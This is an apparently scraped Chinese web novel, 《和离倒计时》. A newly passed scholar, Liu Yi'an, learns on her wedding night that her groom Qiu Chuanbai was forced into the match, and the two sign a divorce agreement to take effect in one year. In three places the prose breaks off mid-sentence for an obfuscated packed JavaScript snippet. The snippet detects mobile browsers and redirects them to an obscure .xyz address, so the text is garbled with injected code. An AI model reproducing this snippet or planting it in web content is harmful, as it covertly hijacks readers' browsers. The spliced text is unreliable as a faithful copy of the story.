《和离倒计时》 1. 新婚 柳忆安在中举的那一年,父母开始为她张罗起了亲事,美其名曰要先成家后立业,既然现在已经中了举,赶紧为她找一个贤惠的夫婿执掌中馈。 在此之前,柳忆安一心只读圣贤书,从未将心思用于女男之事,但她也听同窗说过求娶心上人的故事,在恭喜同窗的同时也暗自幻想过自己能遇到一位情投意合的佳人。 如果是那个人的话… 柳忆安自打启蒙后就一直住在书院里读书,除去逢年过节,每月仅回家一两次,很少和外男接触。 但在去年的腊八节,她替家里跑腿时路过城隍庙,远远看见有一身着青色印有白色竹纹长袍,身披黑色大氅的男子。对方身材修长,头发高高束起,似是陡峭寒风中的一缕春-光,吸引了柳忆安的视线。 她慢下脚步,仔细瞧了瞧。那名男子似乎带着一伙儿人给穷人施粥,他的衣袖被襻膊扎起,干起活儿来动作干净又利索。同时,他还不忘安慰排队等候的人,面对讨粥的小孩儿总会露出和善的微笑,似乎还在向小孩们叮嘱些什么。 “小霜,这是谁家公子在这施粥啊?好像之前未曾见过。” “回小姐,去年咱们镇上新搬来一户富商,姓秋,这位施粥的公子是秋家二少爷秋川白。” 小霜是柳家的侍女,自打5岁和小露一并入了柳府。柳忆安入了学堂后,小露作为书童一并和柳忆安吃住在学堂,小霜留在了柳府,负责管理柳忆安的院子,对外面的家长里短知道得更多。 “秋家的大公子前段时间成婚啦,估计马上要给二公子议亲,秋家最近对这种博得好名声的事情特别热衷。”小霜一脸八卦地补充。 “不管目的何如,有人愿意冒着寒风,给吃不起饭的人一碗热粥,就是再好不过的事情。你回去给爹爹说一声,咱们也去路口施粥,就当给我明年乡试积福。” 也许是那个纤纤身影忙碌时的一举一动太过美好,让她不自觉地去追寻模仿。 不过这件事情只是柳忆安生活中的一个小插曲,第二天她就回到书院,不再分心在其他事情上。 秋家听说柳家在另一个路口施粥,立刻派人提供帮助,柳家随后送礼表示了感谢。一来二去,两家就这么走动了起来。柳忆安的父亲曲明也与秋家的主夫熟络了起来,两个人时不时相约看戏品茶,互相倾诉后宅杂事,成为了很好的朋友。 *** 柳忆安中举后,她的母亲,柳家的现任家主柳云认为是时候给柳忆安议亲了。曲明第一时间想到了好友家中还有个待嫁的嫡子,听说是个心思单纯,外表气质出众的妙人。 曲明所求的不过是女儿身边有个知冷知热的贴心人,只要为人良善,能执掌中馈就足够了。 柳云一开始并不同意,如今女儿半只脚已经迈入官场,找的亲家最好能提拔柳忆安。而秋家同柳家同是商贾,两家家底虽然厚实,是镇上数一数二的富户,但终究无法在官场上帮衬柳忆安,若是没有个人给柳忆安撑腰,她不敢想自己的女儿会遇到多少绊子。 在柳云犹豫不决的时候,朝中发生了一件大事。两位联姻的权臣利用彼此的关系,在朝中互通消息,暗中勾结,中饱私囊,贪污各种工程款项数十万银元。 女帝勃然大怒,下令彻查此案,并要求将朝中各个品级的官员与亲家关系详细记录在册,并下令监察院严格监督结亲的官员之间的往来。 官员们纷纷开始自保,主动疏远亲家关系,以免受牵连。柳云第一时间听说了这件事情,知道在这种时刻,莫要与天女作对,不能因为婚约让她人抓住把柄。 于是她松了口,让曲明在私下打听秋川白的为人,若真是个好孩子,也算是门好亲事。 而秋家,早在柳忆安中举的那天就在琢磨着如何能与柳家结亲了,柳忆安年纪轻轻就中了举人,前途一片光明,且知道她父亲为人厚道,定不会苛待女婿。 两家就这样一拍即合。 一年后,两家走完了六礼,很快就到了正式成婚的那天。 在成亲前一周,柳忆安向书院告了假,回到家做准备。 其实,当初母亲父亲决定为她订亲时,她本想拒绝,但听到秋川白的名字时,拒绝的话却突然说不出口了。 她想起那天翩然的身影,心跳突然空跳了两下。 她努力控制住自己的表情,不让自己显得太过兴奋,“孩儿的婚事全凭母亲父亲决定。” “好孩子,既然你没意见,那就这么决定了。婚礼由你父亲安排就好,你平时切莫分心,好好准备会试。”柳云叮嘱完就让柳忆安退下了。 在回房间的路上,柳忆安嘴角忍不住上扬,心上人会是未来的枕边人,这样的好事竟也发生在她身上。 不过,她的压力也更大了。 柳忆安心里清楚,对所有人,不论是母亲父亲、秋家、还是即将成亲的那个人,他们最重视的,是自己举人的身份、是她未来入朝为官的可能。 于是,在这门亲事定下来后,柳忆安不敢懈怠一丝一毫,将全部精力用在了读书上,甚至月休也不再回家。 她下定决心一定要考取功名,成为那个光风霁月的少年的骄傲。 也因此,柳忆安对秋家发生的鸡飞狗跳毫不知情。 *** 大婚当日,柳忆安身着正红长袍配金丝云肩,腰间系金扣白玉腰带,高扎的马尾上戴着金丝嵌红玛瑙束发冠。 她端坐于白马之上,昂着头,表情却有些害羞,对着围观的人露出稍显羞涩的微笑。一双桃花眼笑里含春,竟引得路边许多路过的少男看呆在原地。 拜堂时,柳忆安感受到身边人因紧张而身体发-抖,便在他身边低声叮嘱:“郎君莫紧张,你先回房休息,我让侍女去买天香楼的点心给你尝尝。” 对方在听到回房休息时,明显放松了下来,轻点了下头就离开了。 等柳忆安敬完酒,回到房间,天色已经暗下来了。 “秋郎,我回来了,让你久等了。” 马上要见到秋川白,柳忆安在心里暗自琢磨了许多要对他说的话。 她想告诉他,很久之前她就见过他,初见时不知何为心动,但在父母决定为她说亲时,她心中只有他的身影。 她想告诉他,她只愿一生一世一双人,不管未来发生什么,都不会纳小侍。 柳忆安还在琢磨这些话怎么说才不会显得孟浪时,突然听见房间里传来小声的呜咽。 她小心地进了门,第一眼就看见有人依靠在床边挣-扎。 只是对方双手被捆在身后,双腿被布条束住,所有挣-扎都是白费功夫。 门外听见的小声呜咽正是来自被绑住的男子,听声音,对方已经哭到岔气了。 柳忆安急忙走过去,也顾不得大婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791790|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该有的仪式,一把摘下红盖头。 只见秋川白双眼已然哭得红肿,眼里的泪水却早已哭了干净,留下满脸泪痕。 柳忆安不知道发生了何事,对秋川白在大婚当日为何哭成这般惨样毫无头绪。 到底怎么回事,为什么她的新婚郎君被绑在这里,刚刚拜堂时不还好好的吗? 柳忆安连忙把秋川白嘴里塞的布取下,解开束缚住他手脚的绳索。 “怎么哭成这样?拜堂后发生了什么吗?谁欺负你了,告诉我。” “我…我不想就这样不明不白地嫁人,他们就这样把我绑起来了。”秋川白声音嘶哑地说道。 “你的意思是,你是被父母逼迫嫁人的?”柳忆安递过去一杯茶,示意对方喝点东西,平复一下心情。 秋川白接过茶杯,啜饮了几口,情绪不再那么激动,抬起头端详起柳忆安。 在此之前,他从未见过柳忆安,关于她的一切都是听说。 母亲说,柳忆安年纪轻轻就中举,未来大有可为,和她结婚家里定能跟着沾光。 父亲说,柳家主夫性格和顺,为人亲善,他嫁进去定不会受欺负。 朋友说,柳家嫡女为人冷清,很少参加聚会,似是不好来往。 他的母父亲人对婚姻有很多个衡量的标准,而这些标准里,独独没有他是否喜欢对方。 自定亲之后,他给母亲说过不想这么草率地和一个陌生人结婚,可平时对他宠爱有加的母亲在听完他的话后竟冷笑一声,反问他。 “你凭一两部戏文就知道什么是姻缘了?那柳忆安未及弱冠就已经中举,你可知跟着她会有多好的前途?你嫡出长兄尚且没有这么好的姻缘,你竟然跑来和我说什么情投意合。我看你真是昏了头了,我对你向来是百依百顺,但是此事已经不仅仅是你的婚事这么简单,莫再胡思乱想。” 说罢,秋思雨把茶杯重重掷在桌子上,甩袖离去。 他不再寄希望于父母改变主意,开始尝试逃跑,但很快就被家丁抓回,从此被关在房间严加看管。 大婚当天,他被装扮一番后便被关进了婚房。为了顺利将仪式进行下去,母亲找了和他身材相像的表弟扮成他拜了天地。 柳忆安只听说双方都对这门亲事十分满意,不曾得知原来秋家曾闹得鸡飞狗跳。 她曾经想当然地认为她的未婚夫婿和她一样期待这门婚事,却在大婚当天得知,原来自己暗暗倾慕的人早就想摆脱这段姻缘。 这门亲事对柳忆安来说是求之不得,是天赐的良缘。对眼前这个人来说,是他美好爱情幻想的断头台。 柳忆安看着秋川白哭得红肿的双眼还有被绳索勒出的伤痕,心中苦闷极了。 一方面,是在为心上人不愿意嫁给自己而不知所措。 另一方面,她觉得记忆中的那个少年不该是这般模样。 本该如冬日里温暖阳光的少年,如今却是这幅凄凄惨惨的模样。虽然自己此前并不知情,但却不由得觉得自己是造成这一切的罪魁祸首。 她一时也不知道如何是好,想拍拍他的背安慰他,但又怕突然的肢体接触惊扰到他,伸-出的手僵在空中,最后还是收了回来。 秋川白捂脸啜泣了许久,突然起身,下定了什么决心似的,朝柳忆安缓缓跪下:“柳姑娘,我知你为人良善,但你我并非良缘,我们和离吧。” 2. 和离 秋川白在和柳忆安相处的短短几分钟内,发现对方并不像传说中的那么不好相处,忍不住把藏在心里的想法一吐为快: “柳姑娘,我知你为良配,只是秋某此生只愿和情投意合之人结为连理。柳姑娘前程似锦,应和更好的人相伴一生。” “是秋某对不住姑娘,只要姑娘愿意与我和离,日后姑娘若有任何事情需要帮助,秋某在所不辞,定为姑娘差遣。” 柳忆安从没想过新婚之夜会发生这样的事情,呆楞在原地:他有喜欢的人了吗?为了对方竟不惜做到这种地步。如今和离是否为时已晚?刚结婚就和离,两家的名声将如何? “婚礼初成,你我现在和离,恐怕会成为全城的笑话,你容我想想。”说罢,柳忆安起身离开了房间,支走了守在门口的下人,站在长廊里开始沉思。 白天的喜悦此刻全然消失,取而代之的是对未来的迷茫。 如今秋川白已经成为她的夫君,他并非自愿,对此却也无可奈何。 她要放手吗? 明明很喜欢对方的。 但是他又那么难过……强求的感情真能如意吗?就算强行留下他,她又能忍受枕边人同床异梦吗? 想来想去,柳忆安得到了自己的答案。 她转身回房,下意识地要推门而入,但就在手放到门上的当下,突然想起房里还有个哭红了眼睛的人,于是推门的动作变成了敲门。 “进吧。”秋川白小声地回应,害怕别人听见他因为痛哭而颤抖的嗓音。 “我回来了。”她顿了顿,继续道,“我答应你,我愿与你和离。” 话音落下,秋川白猛地抬起头望向她,眼里全是不可思议,似乎是没想到自己一通胡言乱语竟能得到回应。 他本是不报希望的,他明白自己的提议是多么离经叛道,也知道自己在新婚当夜说这些话是多么不合时宜。但是他害怕在名为婚约的牢笼中,和不相爱的人蹉跎一生。 “只不过我们刚刚成婚,突然宣布和离,会让柳秋两家遭人非议。我想我们可以把和离时间定为一年后,待我进京会试之前宣布和离,临近考试,母亲就算有所不满,也不敢多说什么。” “这一年里,我们就佯装夫妻的样子,私下里什么都不会发生,如何?” 秋川白高兴极了,虽然还要一年才能重获自由身,但对他而言,已经是当下最好的选择了。 毕竟婚礼前,他以为他要把一辈子葬送在一个陌生人身边。 “谢谢你,你的提议我都接受,不过和离书我们能不能现在签好?” 只有把和离书拿在手里他才能完全放心。 “好,我现在就写。” 柳忆安拿来纸笔,写下两份和离书。 【两家结亲,本为良缘,然缘分浅薄,虽无过错,终难偕老。今朝和离,实为两全之计,一别两宽,愿二人余生各生喜乐。】 和离的时间,柳忆安写了明年的今日。 写完,两个人都签上了名字,摁了手印,各执一份。 秋川白难掩内心的释怀,方才的痛苦已经一扫而空。 柳忆安没有错过他表情的变化,暗自在心里苦笑一声。 罢了罢了,有缘无份,强求不来。 能和心爱之人相守偕老的终究是少数,自己终究不是那个幸运儿。 还是把所有心思用在圣贤书上吧。 只是今天,到底是睡新房,还是睡在书房?柳忆安开始纠结。 已经决定和离,再同处一室,害怕会惊扰对方。 但是大婚之夜宿在书房,也容易惹人嫌话。 正当柳忆安环顾房间不知所措的时候,秋川白看出了她的困扰。 “柳姑娘无需纠结,你我二人在他人面前还是要扮作恩爱夫妻的。你…就同我宿在一起吧,我睡在榻上就好了。”秋川白边说边把自己的铺盖转移到榻上。 “你被捆了这么久,身体还好吗,不然睡在床上吧,我睡到榻上就行。”看到秋川白手腕上的红印,柳忆安忍不住关心他。 “这是我欠姑娘的恩情,若是姑娘在自己家却只能睡在榻上,秋某羞愧难当。” 正当秋川白收拾床铺的时候,门外突然响起了敲门声。 “姑娘,天香楼的点心买回来了,奴婢给您送进去吗?”是小霜来送点心了。 “在门口等着,我自己拿进去就行。” 柳忆安快步走到门前,只开了一条小缝,挡住了秋川白仓皇的身影。 “小姐可真是小气,把天仙般的姑爷藏起来。”小霜打趣到。 柳忆安的脸一下子红起来,“你平日里没大没小惯了,现在不光打趣我,连姑爷也不放过,小心我罚你一个人扫院子。” 说罢,利落地关上了门。 秋川白饿了一整天,闻到了点心的香味,肚子“咕”地响了。 柳忆安整理好饭菜,招呼端坐在榻沿的秋川白过来,“来吃点吧,本就是为你点的。” 秋川白注意到桌子上的点心都是天香楼的招牌,半荤半素,粥也有甜咸两种口味。 “这些都是给我准备的吗?” “嗯,不知道你的口味,就都准备了一点。” “多谢柳姑娘。”秋川白闻言,愈发觉得愧对了柳忆安的心意,对方这么细致地安排了一切,显然非常憧憬新婚这天。 如果不是因为自己,想必她在大婚这天会很幸福吧。 「柳姑娘愿意成全自己,真是个好人。」秋川白暗自想,只可惜自己所求的,不是好人,是心上人。 作为回报,他愿意用这一年,帮柳姑娘打点好生活上的一切,助她考取进士。 柳姑娘金榜高中后,就能找到比他更好的夫婿了吧,也算是自己向柳姑娘赎罪了。 *** 第二天清晨,柳忆安比秋川白更早地醒来,她蹑手蹑脚地走到秋川白睡觉的榻边,将他在睡梦中踢掉的被子捡起,重新为他盖上。 虽然已经清楚秋川白对自己并无什么心意,但看见他的身影就在身旁不远处安睡的时候,柳忆安心脏还是紧张得抽动了一下。 她想,自己还是喜欢秋川白的,仅仅待在他身边,她都会不自觉脸红,一如初见那天。 在认识到自己对秋川白的喜欢还是一如既往,并没有因为他对自己的疏远而减少时,她决定遵从自己的内心。 多少人爱而不得,又有多少人和夫君毫无半点情谊,而她却可以和自己喜欢的人假扮一年的夫妻。这算是老天对她的一丝恩赐,就让这一年的时光成为两个人美好的回忆吧。 等一年之期到了,万一柳川白回心转意愿意留下呢。就算他不愿意留下,留下一年的回忆,自己也满足了。 眼看就快到给长辈敬茶的时间了,她却不忍叫醒秋川白,昨天他被捆成一团的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791791|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍历历在目,也不知道他挣扎了多久,又有多少天没睡过好觉。 柳忆安走出房门,看到小霜正在和秋川白的陪嫁小厮聊天,她向小霜吩咐道:“你代我去向父亲请罪,就说我昨日酒饮得多了些,今早身子不太爽利,想多休息一会儿。” 小霜领了命正要下去,又被柳忆安叫住:“昨日天香楼的甜粥味道不错,你再去买一份回来吧。” 昨晚秋川白将那晚甜粥喝了精光,想必很喜欢那粥。 秋川白醒来的时候,天色已经大亮,“华来,华来!现在是什么时辰。” “回公子,现在巳时已过大半。” 华来是秋川白的陪嫁小厮,从小和秋川白一起长大,一直在默默帮助秋川白逃婚。 因为秋川白的拒婚,秋家本不想让华来陪嫁过来,而是换一个更听主家话的小厮看着秋川白,是秋川白绝食不吃不喝三天才让母亲妥协。除了秋父安排的小厮春生,华来可以跟着秋川白一起到柳家。 “巳时?”秋川白大惊失色,慌乱地从床上爬起。“怎么不叫我起床?现在误了敬茶的时辰,母亲怪罪下来该如何是好。” “是娘子不让咱们叫公子起床的,娘子已经差人向老爷解释,说娘子昨日醉酒,今日身子困乏,晚些再向夫人和老爷请安。” 听到华来的话,秋川白从惊恐的状态中解脱,吩咐华来赶紧为自己洗漱,他要赶紧向柳忆安道谢。 他随便选了一件青色莲花纹长衫,将头发梳成新夫的样式,两侧的头发用银冠束在脑后,一头乌发柔顺地垂下。 嫁到富贵人家的男子,成婚后不会再像肆意的少年将头发高高束起,而是将头发披散下来,以证明自己在家中无需劳作。除了披发,很多男子还喜欢戴上各种繁琐的头饰,彰显妻子对自己的宠爱。 秋川白的父亲给他置办了丰厚的嫁妆,其中不乏珠宝首饰,只是秋川白没有整理嫁妆的心情,他从妆奁的最上层随意取了一个发饰就绑在了头上。 穿戴完毕,秋川白便去向柳忆安请安,穿过长廊,他看见柳忆安拿着书端坐在窗边,她的长发被编成一个长辫,从左肩处垂落,显得十分清雅。 柳忆安的目光从书上移开的时候看到了秋川白向她走来,便连忙起身,“还没用早膳吧,我们用过早膳再去向娘亲请安吧。” “柳娘子用过了吗?若是娘子已经用过,我们不妨先去请安吧。”秋川白不好意思让两位长辈等待太久,毕竟在其他人面前,他还是要扮演好夫郎的角色。 “那好吧,只是我不知道娘亲和爹爹会不会有太多话叮嘱你我,爹爹人很好,就是话稍微多了一些。” “恐怕是曲主夫…”脱口而出后,秋川白意识到“曲主夫”这个称呼不应该从他嘴里说出,连忙改口:“恐怕是爹爹平日里见不到娘子,太过思念,才叮嘱得多了一些。” 意识到了秋川白的紧张,柳忆安冲他笑了笑,安慰他道:“这里没有别人,不用这么小心。” 阳光穿过层层的树叶洒在柳忆安的脸上,她的笑容让秋川白怔在原地。 她好漂亮啊。他的脑海里闪过这样的念头。 在那之后的几秒钟,柳忆安安抚他的笑容一直萦绕在秋川白的心头。 秋川白第一次意识到,他还从未好好观察过自己名义上的妻主。 待他回过神的时候,柳忆安已经走在前面带路,他连忙小跑跟了上去。 3. 推拒 他一边加快步伐,一边在柳忆安的身后悄悄观察她。 柳忆安身形挺拔但却清瘦,想来书院里的饭菜并不可口,也不知道其他人的夫郎会不会给妻主送些餐食过去…… 以后为柳姑娘送些茶饭过去吧,既然决定了要报答她的恩情,他要尽全力照顾好她的饮食起居,助她仕途坦荡。 不一会儿,她们就来到了前厅。 “娘亲,爹爹,女儿起晚了,请原谅女儿。”柳忆安抢在别人出声前开口,将过错揽在了自己身上。 曲明看到女儿和女婿来请安,开心得合不拢嘴,并不在意她们起晚的事情。 “你们昨日累坏了吧,今日多休息休息也是应当的,川白你过来。”曲明招招手,把秋川白唤到身边,从一个包装精致的红木包金的盒子里拿出一个碧色的玉镯。 “这个镯子是十几年前,我随妻主去东南走商的时候收的,这种成色的镯子可遇不可求,当年买下它,就是想要送给日后的女婿。如今你嫁入我们柳家,这个镯子自然该到你的手上,来,把手伸-出来。” “父亲,这份礼物太贵重了,我才刚刚过门,不适合收下如此贵重的礼物。” 因为已经在私下里签好了和离书,秋川白不好意思收下镯子,他无措地看向柳忆安,希望对方能替他回绝这份过于贵重的礼物。 谁知,他用眼神示意柳忆安的这一举动,在柳云和曲明眼中变成了这两个人感情亲密的证明。 “别不好意思,来来,我给你戴上,不能让别人以为我们柳家不重视你。” “川白,这个镯子是父亲的心意,你收下父亲才能安心。”柳忆安害怕秋川白手腕上的红印被发现,从父亲手中拿过镯子,自己牵起秋川白的手,为他戴上玉镯。 这是秋川白第一次和女人拉手,当柳忆安温热的手指轻握住他的手腕时,他感受到对方手指上因长期执笔写字而留下的薄茧,略带粗糙的指尖划过他的手腕,他的脸连带着耳尖都变得粉红。 “我替川白谢谢父亲,这个镯子的颜色真是难得,川白戴着尤其好看。” “多谢父亲母亲,多谢妻主,”秋川白赶紧接话,“我一定好好服侍妻主。” “当年我和明儿在东南走商,一路上经历千难险阻,最终两个人携手克服了重重难关。也是在那个时候,我们有了忆安。那时我们最大的心愿就是携手平安共度此生,便为这孩子取名为忆安,忆安忆安,就是我们对她,也是我们对你们最大的心愿。”柳云看着柳忆安和女婿恩爱的样子,想起了自己和曲明年轻的时候。 当年曲明怀着身孕,陪她一路颠簸,生下孩子后身体受损严重,于是两个人只有忆安这一个孩子,她心里感激曲明为她做的一切,也没有纳过小侍。 柳忆安从小就聪明懂事,年纪轻轻就中了举人,已是整个家族的骄傲。如今又和一个长相好、品行好的男子成了家,想来以后的日子也是平安顺遂。想到这里,柳云心里甚是欣慰。 敬过茶,一家人一起用过午膳,曲明开始为明天回门的事情忙碌,他一边收拾东西,一边叮嘱柳忆安。 “你是去见岳父岳母,虽是要客气尊敬,但切莫像在书院一般,一板一眼的,害得别人家紧张兮兮。” “知道了父亲,我会注意的。” “下午你带川白出去转转,你们刚刚成婚,你多照顾人家,好好培养一下感情。”曲明还记得自己刚嫁给柳云时有多紧张,推己及人,知道秋川白如今刚嫁进来,也是不太自在的。 秋川白看着柳家一家人其乐融融,不由得想起了自己家。 他的母亲秋思雨和柳云一样是商人,但已经纳了三个小侍。父亲掌管府中所有内务,没有人敢忤逆他,母亲对待父亲也是相敬如宾,但像柳家这样母父恩爱的场面却是从来没见过。 父亲对小侍矫揉造作的样子很是不屑,他说好人家的郎君要洁身自好,只有最不堪的男人才做出那副讨好人的姿态。 他和哥哥从小便被教育如何成为一个端庄的当家主夫,学习如何管帐,如何烹茶,如何弹出高雅的琴曲。 但是他心里,却一直暗中羡慕郁小父,这是母亲的第一位小侍,也是母亲最疼爱的小侍。 听说郁小侍和母亲是青梅竹马,后来因家中变故,被人掳走卖至青-楼,日日抚琴为生,因年纪尚小,所以未曾卖身给他人。一日母亲因迷路误入花街,看到郁小侍的身影从窗边一闪而过,才知道自己年少时的玩伴沦落至这般境遇,当场出重金为其赎身带回家中。 一开始,父亲不愿和青-楼出身的人共事一妻,不让郁小侍进门。郁小侍向父亲说明了自己的身世,并当着父亲的面饮下了绝子药,父亲无奈,最终松了口,让他进了门。 而其余两位小侍,是父亲为母亲陆续纳进门的,不知是因为成婚多年自己却生不出女孩,还是嫉妒郁小侍和母亲情谊深厚,想让年轻貌美的男子瓜分秋思明在郁小侍身上的注意力。母亲自知对不起父亲,便随他安排,只是她很少宿在那两个小侍房中,大部分时间还是和郁小侍待在一起。 秋川白曾经在打雷的夜晚偷偷跑到父亲房间,想让父亲陪他睡觉,却听见父亲借着雷声掩盖,独自痛哭。 原来是母亲知道郁小侍害怕雷声,半夜起床去陪伴郁小侍了。 秋川白心疼自己的父亲,但却忍不住羡慕郁小侍在母亲心里的地位。 也是自那一刻起,他不想重蹈父亲的覆辙,不想像父亲那样,为了母父之命,媒妁之言就嫁给一个彼此毫无感情的陌生人。 长大后,他的朋友们给他了一些话本子,他看到里面英雄救美的情节,就像母亲和郁小侍的故事。 于是他开始等,等待和命定的爱人有一个浪漫的邂逅,可是还未待他等到,家里就给他安排了亲事。 “秋郎,我带你去附近转转吧。” 柳忆安的声音打断了秋川白的回忆,他回过神来,连忙应下,“全凭妻主安排。” *** 柳府坐落在长街的最深处,若是步行,需得好一会儿才能走到长街尽头。 秋川白跟在柳忆安身侧,思量着如何该把镯子还给柳忆安。 刚刚在长辈面前不好推脱,但他已经签了和离书,不应该再霸占着人家给女婿准备的礼物。 “柳姑娘,这个镯子我受之有愧,我回去就把它还给你。” 听秋川白又提起了镯子,柳忆安记起秋川白纤细的手腕还有着被绳索捆绑的红印,决定先带他去医馆买些去除伤口的药膏。 “我知道你的意思,只是这镯子也得人养着,你先帮我保管吧。” “而且…我夸你戴这个镯子好看,不是客套话,是我的真心话。” 说罢,柳忆安感到不好意思,加快了步伐。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791792|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秋川白也因害羞而没再开口,安静地跟随在柳忆安身后。 终于走到医馆门口,柳忆安打起招呼:“采薇,你最近如何?明大夫近日可还好?” 明大夫的母亲是宫里的太医,后来因被宫中权斗牵连而远走他乡,最终定居在这个南方的小镇,是柳忆安的祖母出钱资助她们开了这家医馆,明家也一直对此心存感激,明大夫更是把柳忆安当成自己的女儿看待。 采薇是明大夫收养的义女,从小跟随着明大夫学习医术,也是柳忆安的闺房好友。 看到好友,采薇高兴地回应,而后突然发觉不对劲:怎么会有人新婚第二日来医馆? “你怎么来了?”采薇仔细地瞧了瞧柳忆安,看她面色红润,不像有什么不适。 “昨日穿的那婚服太过繁重,肩膀上勒出了一些红印,我来问问有没有可以去除勒痕的药膏。” “有的有的,我这就拿给你。”采薇从柜子里翻出药膏递给柳忆安,嘱咐道:“这药早晚各涂一次,不出三天红肿就能消下去了。” 对柳忆安嘱咐完,采薇看向秋川白:“这位就是你的夫郎吧,我还想什么样的男子才能配得上我们忆安,今日一见,竟也是一个妙人,你们两个人走在一起真是赏心悦目。” 看着眼前一对夫妻双双红了脸,采薇被逗得笑出声:“瞧瞧你俩这幅害羞的样子,不愧是夫妻。好了好了,我先去忙了,你得闲回家的时候记得来找我啊。” 接着,柳忆安又带着秋川白在附近转了转,为他介绍了周边的商铺,见他略显疲态后,便回家休息了。 两个人坐在房中休息,柳忆安把药膏递给秋川白,“你身上还有勒痕,我知道你们男孩子最是在意肌肤光洁,这个药膏你拿去涂抹,记得早晚各涂抹一次。” 秋川白没想到柳忆安竟是为他求药,在药堂的时候,他当真以为是柳忆安被婚服勒出了红印,谁知竟然是柳姑娘为他求药,又顾及他的颜面,才以自己为借口。 “多谢柳姑娘……” 在柳家不过一天,他竟得到了柳家人如此多的关心,这让他有些无所适从。 柳家人待他越友善,他便越惭愧,早晚是要分开的,他不愿承柳家人太多的情。 “柳姑娘为人良善,我很感激,只是柳姑娘这般对我,秋某却没什么可以报答。柳姑娘以后莫要再为我费心了,不然秋某亏欠太多,只怕来日无以回报,徒增愧疚。” 柳忆安没想到自己的关心让秋川白感到压力,心里有些失落。 “我明白了,我以后……会注意分寸的。” 听到柳忆安的回答,秋川白松了一口气:“多谢柳姑娘理解。” 太阳开始西沉,秋川白起身,准备去收拾一下自己的衣物。 “秋郎。”柳忆安看着秋川白离去的背影,眼里闪过复杂的情绪,开口唤住了他。 “柳姑娘还有什么吩咐?”秋川白转过身,疑惑地问。 柳忆安抬眼看着他,深吸了一口气,随后缓缓地说道,“秋郎,我们虽然已经签下和离书,但那也是一年后的事情,如今我仍是你的妻主。我知你不愿欠我,不过妻主该做到的事情,我一定会做到。” 她直视着秋川白的眼睛,眼神是那么坚定。 秋川白被对方直白的目光盯得怔住,柳忆安的坦率让他语塞,他只能点点头,低声回应:“好,秋某记住了。” 4. 回门 这一夜,柳忆安和秋川白睡得都不安稳。 秋川白自觉亏欠柳忆安太多,想和柳忆安保持一定的距离,但又怕过于疏远,让自己的恩人伤心。 柳忆安则是察觉到秋川白在故意疏远她,她有些苦恼,不知道该怎样做才能走进秋川白的心。 她想不出一个答案,想到半夜也没睡着,干脆起身去书房,想画画散心。 往日心情苦闷时,柳忆安最爱画山水消解情绪。今晚她执起笔,却无意中勾勒出了秋川白施粥那日的身影。 柳忆安见过的男子虽不算多,但其中不乏身姿秀丽、家底丰厚的貌美富家子。那些男子最爱用复杂饰品将自己层层包裹住,每走一步,身上的环佩都要叮当作响。 而秋川白和他们不一样,她难以忘记初见秋川白的那日,他穿着简朴,却不失风雅。 冬日的阳光洒在他的脸上、发丝上,成为他最美的装饰。 不知不觉,一个笑容温暖的男子出现在柳忆安笔下。 待最后一笔画完,柳忆安才意识到自己并没有像往常一样画山水鸟兽,而是在画自己的心上人。 她看着画,害羞得脸通红,想找一个地方把画藏起来。 待她收拾好,天色已经将亮,于是她干脆开始洗漱。今日要陪秋川白回门,第一次见岳父岳母,要收拾得妥帖。 秋川白不敢再起得太晚,昨日便命令华来今日卯时叫自己起床。辰时刚过半,他已穿戴妥当,与柳忆安乘马车前往秋家。 秋川白在马车里坐立难安,不知道和家里人见面了要说些什么。他和母亲分别的场面十分难堪,当时他挣-扎着不想嫁给柳忆安,嘴里尽是对家人的控诉。 “你们不过是想卖子求荣!” “秋思雨!!!你强行逼迫自己的孩子嫁人,不配成为母亲!” 而秋思雨全当自己什么都没听见,强硬地命人将他绑起来塞进轿子里。 现如今,他的危机已经化解,他不再像大婚那日一般对母亲抱有敌意。想起当日自己对母亲撂下的狠话,心里只有无限的惭愧与歉疚。 这样复杂又纠结的心情,在秋川白见到母亲父亲的那一刻,全部化为了泪水。 随着马车离秋府越来越近,秋府门口候着的小厮开始唤人,秦氏一路小跑到门口,秋川白下车的脚还未在地面踩实,就被秦氏一把拽了过去,将他囫囵看了一遍。 “孩子没瘦,孩子没瘦。”秦氏看到秋川白脸色红润地站在自己面前,这两天的忐忑一扫而光。 大婚那天,秦氏看到儿子被五花大绑,心疼得不得了。他跑去相劝妻主,这婚事不然作罢吧,强扭的瓜不甜,就算礼成了,秋川白在柳家闹起来又可怎么办才好? 只是秋思雨非常强硬地否决了他的提议。 “我了解秋川白,他不过是在家闹一闹我们,这婚礼成了,他也就认命了。” “可是……这……绑到婚房里,这算什么事啊,以后柳家人怎么看咱们秋家啊。”秦氏还是觉得不妥。 